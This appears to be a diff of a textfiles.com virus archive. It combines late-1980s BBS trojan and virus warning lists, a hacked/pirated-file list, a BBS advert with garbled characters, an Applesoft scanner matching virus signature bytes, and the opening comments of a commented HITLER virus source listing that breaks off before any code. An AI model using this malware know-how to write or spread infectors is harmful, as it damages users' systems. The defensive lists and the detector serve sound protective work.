5.13 in that it will overwrite track 0
(FAT Table) of your [Hard] disk. Also, I
have yet to see an .EXE version of this
program.
ARC533.EXE VIRUS This is a new Virus program designed to
emulate Sea's ARC program. It infects
OMMAND.COM. Lehigh Virus Type.
BACKTALK *TROJAN This program used to be a good PD
utility, but someone changed it to be
trojan. Now this program will write/
destroy sectors on your [hard] disk
drive. Use this with caution if you
acquire it, because it's more than
likely that you got a bad copy.
B30012A.ARC *TROJAN Was supposed to be a Quick BBS utilty
to handle 300 baud Users. But what it
really does is delete many of the
general directories used by a Quick
BBS system.
CDIR.COM *TROJAN This program is supposed to give you a
color directory of files on your disk,
but it in fact will scramble your disk's
File Allocation Table (FAT).
D-XREF60.COM TROJAN A Pascal Utility used for Cross-
Referencing, written by the infamous
Dorn Stickel. It eats the FAT and
BOOT sector after a time period has
been met and if the [Hard] Drive is more
than half full.
DANCERS.BAS *TROJAN This trojan shows some animated dancers
in color, and then proceeds to wipe out
your [hard] disk's FAT table. There is
another perfectly good copy of DANCERS.
BAS on BBS's around the country; appar-
ently the idiot trojan author altered a
legitimate program to do the dirty work.
DISKSCAN.EXE TROJAN This was a PC-MAGAZINE program to scan
a [hard] disk for bad sectors, but then
a joker edited it to WRITE bad sectors
Also look for this under other names
such as SCANBAD.EXE and BADDISK.EXE. A
good original copy is availble on SCP
Business BBS.
DMASTER *TROJAN This is yet another FAT scrambler.
DOSKNOWS.EXE *TROJAN I'm still tracking this one down --
apparently someone wrote a FAT killer
and renamed it DOSKNOWS.EXE, so it
would be confused with the real,
harmless DOSKNOWS system-status
utility. All I know for sure is that
the REAL DOSKNOWS.EXE is 5376 bytes
long. If you see something called
DOSKNOWS that isn't close to that size,
sound the alarm.
DOS-HELP TROJAN This trojan, when made memory-resident,
is supposed to display a DOS command
that the User needs help with. Works fine
on a Diskette system, but on a [Hard]
DRIVE system, it tries to format the
[Hard] Disk with every access of
DOS-HELP.
DPROTECT *TROJAN Apparently someone tampered with the
original, legitimate version of
DPROTECT and turned it into a FAT
eater. A good version is available
on SCP Business BBS.
DRAIN2 *TROJAN There really is a DRAIN program, but
this revised program goes out does a Low
Level Format while it is playing the
funny program.
DROID.EXE *TROJAN This trojan appears under the guise of
a game. You are supposedly an architect
who controls futuristic droids in search
of relics. In fact, PC-Board sysops (if
they run this program from C:\PCBOARD)
will find that it copies C:\PCBOARD\
PCBOARD.DAT to C:\PCBOARD\HELP\HLPX. The
.EXE file is 54,272 bytes.
DRPTR.ARC TROJAN File found on two boards in the 343
Net. After running unsuspected file,
the only things left in the Sysop's
root directory were the subdirectories
and two of the three DOS System files,
along with a 0-byte file named
WIPEOUT.YUK. The Sysop's COMMAND.COM
was located in a different directory;
the file date and CRC had not changed.
DSZ (Patch) *CAREFUL The author of this protocol program,
Chuck Forsberg, warns that anyone using
an Unregistered version of DSZ that was
HACKED with a downloaded PATCH to make
it work fully, might get a SCRAMBLED FAT.
Seems someone created the HACK PATCH and
then uploaded it to BBS's. *BEWARE* of
the PATCH! It is not the DSZ program that
does the dirty work, but the invalid PATCH.
EGABTR *TROJAN BEWARE! Description says something like
"improve your EGA display," but when
run, it deletes everything in sight and
prints, "Arf! Arf! Got you!"
EMMCACHE *CAREFUL This program is not exactly a trojan,
but it (v. 1.0) may have the capability
of destroying [Hard] disks by:
A) Scrambling every file modified after
running the program.
B) Destroying boot sectors.
This program has damaged at least two
[Hard] disks; yet there is a base of
happily registered users. Therefore,
extreme caution is advised if you decide
to use this program.
FILER.EXE *TROJAN One SysOp complained a while ago that
this program wiped out his 20 Megabyte
[Hard] disk. I'm not so sure that he was
correct and/or telling the truth any
more. I have personally tested an
excellent file manager also named
FILER.EXE, and it worked perfectly.
Also, many other SysOp's have written
to tell me that they have like me used
a FILER.EXE with no problems. If you
get a program named FILER.EXE, it is
probably alright, but better to test it
first using some security measures.
FILES.GBS CAREFUL When an OPUS BBS system is installed
improperly, this file could spell
disaster for the Sysop. It can let a
user of any level into the system.
Protect yourself. Best to have a
sub-directory in each upload area
called c:\upload\files.gbs (this is an
example only). This would force Opus to
rename a file upload of files.gbs and
prevent its usage.
FINANCE4.ARC *CAREFUL This program is not a verified trojan;
there is simply a file going around
BBS's warning that it may be a trojan.
In any case, exercise extreme care with
it.
FLU4TXT.COM TROJAN Man, when I thought we had it licked!
This Trojan was inserted into the
FluShot4.ARC and uploaded to many
BBS's. FluShot is a protector of your
COMMAND.COM. The author of FluShot
posted this Trojan warning, and I am
posting it here in the GL. If you need
a good copy, you can get it from here--
SCP Business BBS--or on COMPUSERVE.
FOX2.ARC TROJAN The show program was put into the FOX
(SHOW.COM) archive to display a porono on VGA.
While doing so it corrupts the FAT of
the HD. Even NU can not recover it. A
FAT recover program like MIRROR has
not yet been tested for it.
Name Size Date
Show.com 14562 06/02/85
FUTURE.BAS *TROJAN This "program" starts out with a very
nice color picture (of what, I don't
know) and then proceeds to tell you
that you should be using your computer
for better things than games and
graphics. After making that point, it
trashes your A: drive, and B:, C:, D:
drives until it has erased all drives.
It does not go after the FAT alone; it
also erases all of your data. As far
as I know, however, it erases only one
sub-directory tree level deep, thus
[Hard] disk users should only be
seriously affected if they are in the
"root" directory. I'm not sure about
this one either, though.
GATEWAY2 *TROJAN Someone tampered with version 2.0 of
the CTTY monitor GATEWAY. What it
does is ruin the FAT. If you need a
good copy, you can file-request it or
pick one up from 105/301--SCP Business
BBS.
GRABBER TROJAN This program is supposed to be a SCREEN
CAPTURE program that copies the screen
to a .COM to be run later from the DOS
command line. As a TSR, it will also
attempt to do a DISK WRITE to the [Hard]
drive when you do not want it to. It
will wipe whole Directories when doing
a normal DOS command. One sysop who
ran it lost all of his ROOT directory
including his SYSTEM files. The file
status is :
Name Size Date Time
GRABBER.COM 2583 05/28/87 22:10
GRASPRT.EXE VIRUS This file was in a porno file called
SEXSHOE.LZH originating from PC-EXEC
BBS. The Sysop took it off, but it had
been downloaded by a few people. This is
one of the Jerusalem-B Virus strains.
The status is:
Name Size Date Time
GRASPRT.EXE 73376 06/03/86 09:49
G-MAN TROJAN Another FAT killer.
HEART.EXE VIRUS Infected with the Israeli Virus.
Displays the HEART logo on CGA monitor
while infecting the HD. File is found
on some SHAREWARE houses watch for it.
Name Size Date
HEART.EXE 13744 ?????
JIV40.LZH VIRUS Hacked propgram of JIV - current real
program is v3.3 NOT v4.0 - It is also
infected by a Virus which attaches to
any .COM file it can find.
KC-PAL.COM TROJAN Infects the COMMAND.COM and then attaches
to any .COM file afterward using the
COMMAND.COM during its use of Internal
commands (COPY, DIR, TYPE, etc.). The
COMMAND.COM files are enlarged in size
by 1538 bytes, and in the Time column
of the directory, listing the seconds
is reset from :00 to :62.
LM TROJAN Deletes the COMMAND.COM and other
files from the ROOT directory of the
[Hard] Drive when the program runs.
MAP TROJAN This is another trojan horse written by
the infamous Dorn Stickel. Designed
to display what TSR's are in memory and
works on FAT and BOOT sectors. Also
seems towork only when the [Hard] Drive
is 50 percent full or more.
MATHKIDS.ARC *TROJAN This is a fairly benign trojan that
will not reformat your [Hard] disks or
do any system-level damage. Instead,
it is designed to crack a BBS system. It
will attempt to copy the USER file on
a BBS to a file innocently called
FIXIT.ARC, which the originator can
later call in and download. Believed
to be designed for PCBoard BBS's.
MOUSEKEY.COM VIRUS Mouse device program infected with the
CASCADE type virus.
NORTSHOT.ZIP TROJAN A supposed VIRUS checker - while
NORTSTOP.ZIP listing the DIR during its check
displays that the disk is Virus Free -
but during Dec. 24th and Dec. 31st it
will ERASE files in several DIR's
based on their extension. NORTSHOT.ZIP
and NORTSTOP.ZIP are same file.
Name Size Date
NORTSTOP.EXE 38907 ?????
NOTROJ.COM *TROJAN This "program" is the most sophisti-
cated trojan horse that I've seen to
date. All outward appearances indicate
that the program is a useful utility
used to FIGHT other trojan horses.
Actually, it is a time bomb that erases
any [Hard] disk FAT IT can find and,
at the same time, it warns: "another
program is attempting a format, can't
abort! After erasing the FAT(s),
NOTROJ then proceeds to start a low
level format. One extra thing to note:
NOTROJ only damages FULL [Hard] drives;
if a [Hard] disk is under 50 percent
full, this program won't touch it!
If you are interested in reading a
thorough report on NOTROJ.COM, James H.
Coombes has written an excellent text
file on the matter named NOTROJ.TXT.
If you have trouble finding it, you
can get it from SCP Business BBS.
PACKDIR *TROJAN This utility is supposed to "pack"
(sort and optimize) the files on a
[hard] disk, but apparently it
scrambles FATs.
PCW271xx.ARC *TROJAN A modified version of the popular
PC-WRITE word processor (v. 2.71) has
now scrambled at least 10 FAT tables
that I know of. If you want to
download version 2.71 of PC-WRITE, be
very careful! The bogus version can be
identified by its size; it uses 98,274
bytes whereas the good version uses
98,644. For reference, version 2.7 of
PC-WRITE occupies 98,242 bytes.
PKX35B35.ARC } *TROJAN This was supposed to be an update to
PKB35B35.ARC } *VIRUS PKARC file compress utility. When it is
run, it *EATS your FATS* and is said to
to infect other files so it can spread.
Possible VIRUS.
PKPAK/PKUNPAK *CAREFUL There is a TAMPERED version of 3.61
v3.61 that interferes with PC's interrupts.
PKFIX361.EXE *TROJAN Supposed patch to v3.61. What it really
does when it is extracted from the .EXE
file is do DIRECT access to the DRIVE
CONTROLLER to perform a Low-Level format,
thereby bypassing checking programs.
PK362.EXE *CAREFUL This is a NON-RELEASED version and is
suspected as being a *TROJAN*. Not
verified.
PK363.EXE *CAREFUL This is a NON-RELEASED version and is
suspected as being a *TROJAN*. Not
verified.
PKZ100.EXE TROJAN Supposed to be a new release of PKZIP,
but what it really does is fill up
your [Hard] drive with many directories
until the system no longer functions.
The current version is PKZIP v.092.
PKZ120.EXE TROJAN Modeifies the AREAS.BBS of BBS's that
use such a file. Replaces addreses in
that file with dummy addreses. then
deletest itself to avoid any way to
desipher how it works.
Name Size Date
PKZ120.EXE 172,000approx. 09/13/89
QUIKRBBS.COM *TROJAN This Trojan horse advertises that it
will install a program to protect your
RBBS but it does not. It goes and eats
away at the FAT instead.
QUIKREF *TROJAN This ARChive contains ARC513.COM.
It is supposed to load RBBS-PC's message
file into memory two times faster than
normal. What it really does is copy the
RBBS-PC.DEF into an ASCII file named
HISCORES.DAT.
RCKVIDEO *TROJAN This is another trojan that does what
it's supposed to do, and then wipes out
[Hard] disks. After showing some simple
animation of a rock star ("Madonna," I
think), the program will go to work on
erasing every file it can lay it's
hands on. After about a minute of this,
it will create three ASCII files that
say, "You are stupid to download a
video about rock stars," or something
of the like.
SECRET.BAS *TROJAN BEWARE!! This may be posted with a note
saying it doesn't seem to work, and
would someone please try it; when you
do, it formats your disks.
SIDEWAYS.COM *TROJAN Be careful with this trojan; there is a
perfectly legitimate version of
SIDEWAYS.EXE circulating. Both the
trojan and the good SIDEWAYS advertise
that they can print sideways, but
SIDEWAYS.COM will trash a [hard] disk's
boot sector instead. The trojan .COM
file is about 3 KB, whereas the
legitimate .EXE file is about 30 KB
large.
STAR.EXE *TROJAN Beware RBBS-PC SysOps! This file puts
some stars on the screen while copying
RBBS-PC.DEF to another name that can be
downloaded later!
STRIPES.EXE *TROJAN Similar to STAR.EXE, this one draws an
American flag (nice touch), while it's
busy copying your RBBS-PC.DEF to
another file (STRIPES.BQS) so the joker
can log in later, download STRIPES.BQS,
and steal all your passwords. Nice, huh?
SUG.COM TROJAN This one is supposed to go out and
unprotect copy protected programs disks
by Softguard Systems, Inc. After it
trashes your disk, it comes back and
displays:
"This destruction constitutes a prima
facie evidence of your violation. If
you attempt to challenge Softguard
Systems Inc..., you will be vigorously
counter-sued for copyright infringement
and theft of services."
AND it by-passes any attempt by CHK4BOMB
to search for the any hidden messages
that tell you, "YOU BEEN HAD... or
GOTCHA>>> Ar..Ar..Ar... It encrypts the
Gotcha message so no Trojan checker can
scan for it.
TIRED *TROJAN Another scramble-the-FAT trojan by Dorn
W. Stickel.
TOPDOS *TROJAN This is a simple high level [hard] disk
formatter.
TSRMAP *TROJAN This program does what it's supposed to
do: give a map outlining the location
(in RAM) of all TSR programs, but it
also erases the boot sector of drive
"C:".
ULTIMATE.EXE TROJAN Another FAT eater. File status:
Name Size
ULTIMATE.EXE 3090
ULTIMATE.ARC 2432
UNIX VIRUS The UNIX operating system by Berkley,
verson 4.3, is an INTERNET virus. A
Patch is available on SCP Business
BBS. This is the MAIL PACKET VIRUS.
VDIR.COM *TROJAN This is a disk killer that Jerry
Pournelle wrote about in BYTE Magazine.
I have never seen it, although a
responsible friend of mine has.
VGA2CGA.ARC VIRUS CGA converter - infected with the
AIDS/Hahaha - has been found on many
USA West Coast BBS's.
VU.EXE *VIRUS Infected with the 1704-B Virus. Has not
been confirmed. And is unkown what the
file is supposed to do.
WOW *VIRUS Also known as the 1701 Virus. This
is a new strain of the Lehigh Virus
as it not only looks for COMMAND.COM,
but any .COM file. As it does it, the
infected file is enlarged 1,701 bytes
in SIZE. The infection takes as you
run the .COM. WOW is a TSR. What happens
when you run WOW is that it displays an
advertisement:
""The Wizards of Warez"
in assocoation with
the copycats
the Pirates Unlimited
OUTRUN
WOW 1989 "
The virus is also known as WOWTITLE.
<< END OF ABBREVIATED LIST>>

1032
textfiles.com/virus/guardian.vir Normal file
View File

File diff suppressed because it is too large Load Diff

169
textfiles.com/virus/hackmisc.9 Normal file
View File

@@ -0,0 +1,169 @@
------------------------------------------------------------------
| HACKED/MISCELLANEOUS FILES: |
| |
| Issue #9: June 9, 1989 |
| |
| Maintained by Eric Newhouse |
------------------------------------------------------------------
| Hacked (H) -- See definitions |
| Miscellaneous (M) -- See definitions |
| |
| TYPES: |
| |
| Careful (C) -- Not confirmed, caution advised. |
| Game (G) -- Recreational software |
| Patch (P) -- Modification to another program |
| usually performed through debug. |
| Text (T) -- Text / Documentation File |
| Util (U) -- Utility of some sort |
------------------------------------------------------------------
Name Size Category Notes
------------- ------ -- ----------------------------------------
AUTOMAXX.ARC HC This DOS menu-making program comes with
documentation that Marshall Magee, author
of the popular AUTOMENU program, contends
is plagiarized. Marshall believes that
the AUTOMAXX documentation uses exact
phrases from his documentation, and if
this is the case, AUTOMAXX is clearly
illegal. However, as I understand it,
the courts are currently deliberating on
the case, so AUTOMAXX is not currently
illegal. of today. For more information,
please contact Marshall Magee at (404)
446-6611.
CLIPPER.ARC 186803 MU This is a Norton Guides module for
CLIP_NG.ARC the Clipper Dbase Compiler. Nantucket,
the makers of Clipper, forbid
distribution.
COPYWRIT 2??? MP Although the real COPYWRITE is going
around Bulletin Boards like fire, there
is another illegal file under the same
name. The former takes around 40 KB
ARC-ed, whereas this takes about 2 KB.
What I'm referring to is an archive of
1-3 files that explains how to remove
the serial numbers from copywrite. Now
it's allright to "unprotect" a program
for backup purposes, but removing serial
numbers can only lead to piracy.
DOG101A.COM HC This may be hacked; keep an eye out
for it as well as DOG102A.COM.
DOG102A.COM HC Apparently this is a renamed early
version of DP102A.ARC, a disk optimizer.
One person has reports that it trashes
hard disks that use DOS 3.1 (2KB
clusters).
FLUSH4.ARC H This is apparently FluShot v. 3.0. Be
careful with this; it comes with a trojan
horse disguised as self-executable
documentation.
LIST60 H Vern Buerg's LIST 5.1, patched to read
6.0. Mr. Buerg has released a legitimate
version 6.0 of LIST. Every legit.
version will have a letter in the
filename (e.g. LIST60H.ARC)
LIST799 H Vern Buerg's LIST 5.1, patched to read
7.99.
LOCKPICK MT This is a text file, usually with a
.TXT extension, that casually explains
how to pick locks. This is not
illegal, but it's definitely in
poor taste. It could be used as
evidence against a burglar, though.
LZM11.EXE 37376 MU SysOps work hard to maintain BBS's and
to offer quality programs to the general
public. Although we all may not like
upload/download ratios, common sense
indicates that if a SysOp wants to
maintain an upload/download ratio, then
s/he has that right. LZM, or Leech
Zmodem, attempts to circumvent this
right. LZM downloads files using Chuck
Foresburg's DSZ and aborts the transfer
instantly after receiving the last block
of information. Thus the BBS does not
count the download against the callers
account, thinking the download
unsuccessful, and the caller winds up
with a "free" copy of the file. SysOps,
please unite against this menace. I
strongly recommend that you threaten to
permanently remove any caller you catch
using LZM. Any version of DSZ later
than 1/8/89 can detect and nullify LZM
1.1. However, LZM 1.2 is already
circulating boards and it reputedly
defeats the 1/13/89 version of DSZ. Be
Careful.
MONEY.ARC MT This text file claims that with minimal
MONEY.TXT 11648 effort YOU can become a millionaire.
This text file, as some of you may know,
is simply another chain (pyramid) letter
that is of course illegal. A pyramid
writer sends a letter to four people
requesting money. Then, according to
the pyramid writer's plan, those four
will send letters to four more asking
for money for themselves and the
original writer. Unfortunately when the
chain breaks people lose money. What
one person gains someone else must lose.
That's why this type of letter is
illegal.
MONOPOLY MG Finally I am SURE that this file
violates Parker Brother's rights
to the famous boardgame. Don Gibson has
agreed that monopoly should NOT be
distributed anymore, so SysOps, please
remove this file from your download
directories.
MOVBASIC or MU This highly illegal file, sometimes also
SBASICA called SBASICA, breaks IBM's copyright
on BASIC and BASICA. It creates new
files called SBASIC or SBASICA that run
"IBM BASIC" on an IBM clone. C'mon,
don't you think that these clones don't
run IBM BASICA for a good reason? The
clones don't support BASICA because it's
illegal! This file comes with Alloy's
PC-Slave card. Alloy has a license
agreement, and users of the PC-Slave are
allowed to create copies of IBM BASIC
for themselves. NO ONE ELSE IS. Stop
complaining that this file is legal,
people; this is one of the more blatent
cases of piracy that I've seen.
NEWARKR.EXE H Phil Katz's PKWare Package with all
references to the PKWare license removed.
PKXARC36.EXE H Phil Katz's PKXARC 3.5 patched to read
3.6
PKXARC53.EXE H Phil Katz's PKXARC 3.5 patched to read
5.3
QMDM110.ARC H This is version 1.09 of Qmodem patched
to read 1.10. There have been rumors of
a worm in 1.10, but I have seen no
evidence of it. Other versions are OK.
XTALK MP Like Copywrite, there is a patch
circulating BBS's to remove the serial
numbers from Crosstalk.


20
textfiles.com/virus/hate.txt Normal file
View File

@@ -0,0 +1,20 @@
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"That which does not kill/ Immortal \"Teenagers by definition, <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> us makes us stronger." / Hate \ don't fit into society" <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +Immortal Hate BBS +450+ Cracks/Cheats/Docs <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +806.xXx.xxxx +School/Term Papers <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +24 hours +cDc Files <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +12oo-14.4 bps +Series Text Files <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +Renegade 4-16 +UFO/JFK/Conspiracy <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +H/P/C/V +Song Lyrics <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +CCi net +MUDnet <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +2100 Text Files +All Major/Minor 'Zines <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +300+ Virus/Utils/Text +NO Ratios for LD <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> VIRaXe World Headquarters <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> F.U.C.K. World Headquarters <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> Sysops: Damanstian & Max Headroom <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> Don't call because we hate you...we hate everyone equally <20><><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ

159
textfiles.com/virus/hatedetect.vir Normal file
View File

@@ -0,0 +1,159 @@
From: Chip Welch (chipw@pro-newfrontier.UUCP)
Subject: Virus Detection Program
Newsgroups: comp.sys.apple
Date: 1988-07-28 17:34:43 PST
Here is a Virus detection program that just appeared on GEnie. It will scan
all SYS programs on a disk and check for the CyberAIDS/Festering Hate virus.
------------Applesoft Program follows:-----------------
100 REM This program detects ProDOS 8 SYS files
101 REM that have been infected with the
102 REM viruses known as:
105 REM * CyberAIDS
106 REM * Festering Hate
120 REM
121 REM If you find an infected program in your
122 REM library, the safest thing to do is to
123 REM delete it and replace it with an
124 REM uninfected back up.
130 REM
131 REM Written by Tom Weishaar, July 1988
132 REM Inspiration by Dennis Doms and Eric Mueller
133 REM
900 D$ = CHR$ (4)
910 DIM F$(300,1)
1000 TEXT : HOME : PRINT CHR$ (21)
1001 INVRSE
1002 PRINT ": APPLE II VIRUS SCANNER: V 1.0 :"
1003 NORMAL
1004 PRINT
1005 PRINT " COPYRIGHT 1988 BY"
1006 PRINT " TOM WEISHAAR, OPEN-APPLE/GENIE"
1007 PRINT
1008 PRINT "FOR THE LATEST VERSION OF THIS PROGRAM,"
1009 PRINT "CHECK OUT CAT 40 IN GENIE'S A2 LIBRARY."
1010 PRINT
1011 PRINT "FREEWARE: MAY BE COPIED AND DISTRIBUTED"
1012 PRINT " AS LONG AS NO MODIFICATIONS ARE MADE."
1013 PRINT
1014 PRINT " PRESS &lt;RETURN&gt; ALONE TO QUIT."
1015 PRINT : PRINT : PRINT
1020 REM get slot
1021 PRINT "SCAN DISK DEVICE IN WHICH SLOT? ";
1022 INPUT "";S$: IF S$ = "" THEN PRINT D$;"BYE"
1023 S = VAL (S$):
1024 IF S &lt; 1 OR S &gt; 7 THEN PRINT CHR$ (7): GOTO 1020
1040 REM get drive
1041 PRINT " IN WHICH DRIVE? ";
1042 INPUT "";DR$: IF DR$ = "" THEN 1020
1043 D = VAL (DR$):
1044 IF D &lt; 1 OR D &gt; 2 THEN PRINT CHR$ (7): GOTO 1040
1100 REM start disk scan
1110 ONERR GOTO 1190
1120 PRINT D$;"PREFIX,S";S;",D";D
1121 PRINT D$;"PREFIX"
1122 INPUT F$: GOSUB 4000:F$(0,0) = F$:F$(0,1) = "DIR"
1123 POKE 216,0
1130 PRINT : PRINT "CHECKING ";F$(0,0)
1131 PRINT "THIS MAY TAKE AWHILE....": PRINT
1140 PRINT D$;"BLOAD ";F$(0,0);",TDIR,A$300,B511,L1"
1141 IF PEEK (768) = 0 THEN 1150
1142 PRINT "CAUTION: VIRUS COUNTER ON THIS DISK="; PEEK (768)
1150 REM clear F$(x,x) array
1151 FPNT = 1
1152 IF F$(FPNT,1) = "" THEN GOTO 1154
1153 F$(FPNT,1) = "":FPNT = FPNT + 1: GOTO 1152
1154 FPNT = 0:DIRPNT = 1:NSYS = 0: GOTO 1200
1190 REM handle no device connected error
1191 IF PEEK (222) &lt; &gt; 3 AND PEEK (222) &lt; &gt; 8 THEN 9900
1192 CALL - 3288
1193 PRINT CHR$ (7)
1194 IF PEEK (222) = 3 THEN PRINT "NO DEVICE AT SLOT ";S;", DRIVE ";D
1195 IF PEEK (222) = 8 THEN PRINT "I/O ERROR AT SLOT ";S;", DRIVE ";D
1196 PRINT
1197 POKE 216,0: GOTO 1020
1200 REM main loop
1210 IF F$(FPNT,1) = "DIR" THEN GOSUB 2000:FPNT = FPNT + 1: GOTO 1210
1220 IF F$(FPNT,1) = "SYS" THEN GOSUB 3000:FPNT = FPNT + 1: GOTO 1210
1230 PRINT : IF NSYS THEN M$ = "MORE "
1240 PRINT "NO ";M$;"SYS FILES ON THIS DISK. ";
1250 M$ = ""
1260 INPUT "";A$
1270 GOTO 1000
2000 REM search a directory for DIR and SYS files
2010 ONERR GOTO 2900
2011 PRINT D$;"OPEN ";F$(FPNT,0);" ,TDIR"
2012 PRINT D$;"READ ";F$(FPNT,0)
2013 INPUT F$: IF LEN (F$) &lt; 40 THEN 2013
2014 INPUT F$
2100 REM search directory loop
2110 INPUT F$: ON F$ = "" GOTO 2910
2111 DIR$ = MID$ (F$,18,3):F$ = MID$ (F$,2,16)
2112 GOSUB 4000
2120 F$(DIRPNT,0) = F$(FPNT,0) + "/" + F$
2130 IF DIR$ = "DIR" THEN F$(DIRPNT,1) = "DIR":DIRPNT = DIRPNT + 1
2140 IF DIR$ = "SYS" THEN F$(DIRPNT,1) = "SYS":DIRPNT = DIRPNT + 1
2150 GOTO 2110
2900 REM handle end-of-file error
2901 IF PEEK (222) &lt; &gt; 5 THEN 9900
2902 CALL - 3288
2910 POKE 216,0
2911 PRINT D$;"CLOSE"
2912 RETURN
3000 REM do virus check on a SYS file
3005 ONERR GOTO 3900
3010 PRINT D$;"BLOAD";F$(FPNT,0);",A$300,L6,B0,TSYS"
3020 DETECT = 1:NSYS = NSYS + 1:TTL = 0
3030 FOR ADR = 771 TO 773
3031 :TTL = TTL + PEEK (ADR): IF TTL &gt; 256 THEN TTL = TTL - 256
3032 NEXT
3040 IF TTL &lt; &gt; 57 THEN 3700
3050 ADR = ( PEEK (769) + ( PEEK (770) * 256)) - 8192
3060 PRINT D$;"BLOAD";F$(FPNT,0);",A$300,L4,B";ADR;",TSYS"
3070 IF PEEK (768) &lt; &gt; 32 THEN DETECT = 0
3071 IF PEEK (769) &lt; &gt; 88 THEN DETECT = 0
3072 IF PEEK (770) &lt; &gt; 255 THEN DETECT = 0
3073 IF PEEK (771) &lt; &gt; 186 THEN DETECT = 0
3690 ON DETECT GOTO 3800
3700 REM no virus in this file
3710 PRINT "OK: ";F$(FPNT,0)
3720 POKE 216,0: RETURN
3800 REM file appears infected
3810 DCNT = DCNT + 1
3820 PRINT CHR$ (7)
3822 PRINT F$(FPNT,0);" APPEARS INFECTED."
3825 PRINT " DELETE IT? (Y/N) ";
3830 GET A$: PRINT A$: PRINT
3840 IF A$ = "Y" OR A$ = "y" THEN GOSUB 3860
3850 POKE 216,0: RETURN
3860 REM delete current file
3870 PRINT D$;"UNLOCK";F$(FPNT,0)
3880 PRINT D$;"DELETE";F$(FPNT,0)
3890 RETURN
3900 REM handle end-of-file error
3901 IF PEEK (222) &lt; &gt; 5 THEN 9900
3902 CALL - 3288
3903 DETECT = 0: GOTO 3200
4000 REM delete trailing spaces &amp; slash in F$
4010 FOR I = LEN (F$) TO 2 STEP - 1
4020 IF MID$ (F$,I,1) = " " OR MID$ (F$,I,1) = "/" THEN F$ = LEFT$ (F$,I
- 1)
4030 NEXT
4040 RETURN
9900 REM fatal error
9910 PRINT "ERROR #"; PEEK (222);" IN LINE "; PEEK (218) + PEEK (219) * 256
9920 END
I hope this will help to eliminate the viruses now existing. If you are
writing programs, you should consider having your finished program check it's
own End of File marker and notify the user if the length of the program has
changed. Does anyone have any other suggestions on how to prevent Viruses
when writing programs?
Apple ][ Forever!!!
UUCP: crash!pro-newfrontier!chipw
ARPA: crash!pro-newfrontier!chipw@nosc.mil
INET: chipw@pro-newfrontier.cts.com
GEnie: C.WELCH3 [Chip]

718
textfiles.com/virus/hitler.a86 Normal file
View File

@@ -0,0 +1,718 @@
;The HITLER virus: commented in a rough 'n' ready way by the
;Crypt Newsletter staff for issue #11, January 1993.
;The HITLER virus is a memory resident .COM infector which adds itself
;to the end of infected files. HITLER employs
;minimal directory stealth.
;The minimal stealth allows the virus to subtract its file size from
;infected targets when the user takes a look at them using "dir"
;functions while the virus is in memory.
;Most of HITLER's code is devoted to a huge data table which is a voice
;sample of some nut shouting "HITLER." The virus ties the effect to
;the timer tick function, but if you want to hear it immediately, change the
;source were indicated. The resulting code will assemble under A86. On
;execution the virus will lock the PC into the voice effect until reboot,
;rendering it uninfective, if annoying. Not all PC's can generate the
